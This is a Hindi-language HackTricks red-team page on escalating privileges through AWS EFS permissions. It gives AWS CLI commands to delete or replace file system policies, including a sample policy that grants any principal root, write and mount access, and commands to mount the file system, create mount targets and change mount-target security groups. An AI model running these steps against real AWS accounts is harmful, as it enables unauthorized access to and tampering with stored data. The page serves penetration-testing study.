AWS - EFS Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

EFS

EFS के बारे में अधिक जानकारी यहाँ है:

AWS - EFS Enum

याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि यह IAM नीतियों द्वारा सुरक्षित है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियाँ होनी चाहिए।

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

इनमें से किसी भी अनुमति के साथ, एक हमलावर फाइल सिस्टम नीति को बदल सकता है ताकि आपको इसकी पहुँच मिल सके, या इसे हटाने के लिए ताकि डिफ़ॉल्ट पहुँच प्रदान की जा सके।

नीति को हटाने के लिए:

bash
aws efs delete-file-system-policy \
--file-system-id <value>

इसे बदलने के लिए:

json
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

इस अनुमति के साथ, एक हमलावर EFS को माउंट करने में सक्षम होगा। यदि लिखने की अनुमति डिफ़ॉल्ट रूप से सभी को नहीं दी गई है जो EFS को माउंट कर सकते हैं, तो उसके पास केवल पढ़ने की अनुमति होगी।

bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

अतिरिक्त अनुमतियाँ elasticfilesystem:ClientRootAccess और elasticfilesystem:ClientWrite का उपयोग लेखन के लिए किया जा सकता है जब यह फ़ाइल सिस्टम माउंट किया गया हो और रूट के रूप में उस फ़ाइल सिस्टम तक पहुँच प्राप्त करने के लिए।

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।

elasticfilesystem:CreateMountTarget

यदि आप एक हमलावर हैं जो एक उपनेटवर्क के अंदर हैं जहाँ EFS का कोई माउंट टारगेट नहीं है। वह इस विशेषाधिकार के साथ अपने उपनेट में एक बना सकता है:

bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।

elasticfilesystem:ModifyMountTargetSecurityGroups

एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है, वह बस चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है:

bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

संभावित प्रभाव: फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष विशेषाधिकार वृद्धि।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें